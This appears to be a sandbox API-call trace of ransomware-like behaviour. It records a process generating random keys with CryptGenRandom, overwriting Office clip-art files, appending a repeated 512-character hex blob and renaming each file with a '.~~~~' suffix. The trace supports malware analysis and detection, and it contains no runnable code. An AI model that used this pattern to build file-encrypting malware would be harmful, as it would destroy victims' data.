	[0117.001] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.002] CloseHandle (hObject=0x140) returned 1
	[0117.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0117.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.~~~~")) returned 1
	[0117.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.003] GetLastError () returned 0x0
	[0117.003] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.005] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.005] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23699510433) returned 1
	[0117.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf3a0fd0, dwHighDateTime=0x1d60e1e)) 
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8bc8
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8bc8 | out: hHeap=0x300000) returned 1
	[0117.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b21f0
	[0117.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.006] GetLastError () returned 0x0
	[0117.006] GetLastError () returned 0x0
	[0117.006] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.006] GetLastError () returned 0x0
	[0117.006] GetLastError () returned 0x0
	[0117.012] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff9e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.012] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x61c, lpOverlapped=0x0) returned 1
	[0117.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.014] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.014] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.014] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.014] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.014] CloseHandle (hObject=0x140) returned 1
	[0117.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0117.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.~~~~")) returned 1
	[0117.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.015] GetLastError () returned 0x0
	[0117.015] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.016] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.016] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.017] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23700668950) returned 1
	[0117.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf3c7130, dwHighDateTime=0x1d60e1e)) 
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8c00
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8c00 | out: hHeap=0x300000) returned 1
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0117.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0117.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2288
	[0117.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.017] GetLastError () returned 0x0
	[0117.017] GetLastError () returned 0x0
	[0117.018] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.018] GetLastError () returned 0x0
	[0117.018] GetLastError () returned 0x0
	[0117.049] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff510, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.049] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xaf0, lpOverlapped=0x0) returned 1
	[0117.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.054] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.054] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.054] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.054] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.055] CloseHandle (hObject=0x140) returned 1
	[0117.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6d18
	[0117.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.~~~~")) returned 1
	[0117.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.090] GetLastError () returned 0x0
	[0117.090] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.091] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.092] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23708164430) returned 1
	[0117.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf485810, dwHighDateTime=0x1d60e1e)) 
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8d88
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8d88 | out: hHeap=0x300000) returned 1
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0117.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2320
	[0117.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.092] GetLastError () returned 0x0
	[0117.092] GetLastError () returned 0x0
	[0117.093] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.093] GetLastError () returned 0x0
	[0117.093] GetLastError () returned 0x0
	[0117.659] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe5ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.659] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1a54, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1a54, lpOverlapped=0x0) returned 1
	[0117.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.661] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.661] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.661] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.661] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.661] CloseHandle (hObject=0x148) returned 1
	[0117.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.~~~~")) returned 1
	[0117.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.663] GetLastError () returned 0x0
	[0117.664] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.665] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.665] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.666] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23765580072) returned 1
	[0117.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa06af0, dwHighDateTime=0x1d60e1e)) 
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ea0
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ea0 | out: hHeap=0x300000) returned 1
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2748
	[0117.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.667] GetLastError () returned 0x0
	[0117.667] GetLastError () returned 0x0
	[0117.667] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.667] GetLastError () returned 0x0
	[0117.668] GetLastError () returned 0x0
	[0117.670] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffbcf4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.670] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x430c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x430c, lpOverlapped=0x0) returned 1
	[0117.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.672] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.672] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.672] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.672] CloseHandle (hObject=0x148) returned 1
	[0117.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.~~~~")) returned 1
	[0117.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.673] GetLastError () returned 0x0
	[0117.674] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.676] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.676] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.676] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23766636119) returned 1
	[0117.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafa06af0, dwHighDateTime=0x1d60e1e)) 
	[0117.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ed8
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ed8 | out: hHeap=0x300000) returned 1
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2a40
	[0117.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.678] GetLastError () returned 0x0
	[0117.678] GetLastError () returned 0x0
	[0117.678] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.678] GetLastError () returned 0x0
	[0117.678] GetLastError () returned 0x0
	[0117.681] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffa490, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.681] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x5b70, lpOverlapped=0x0) returned 1
	[0117.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.683] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.683] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
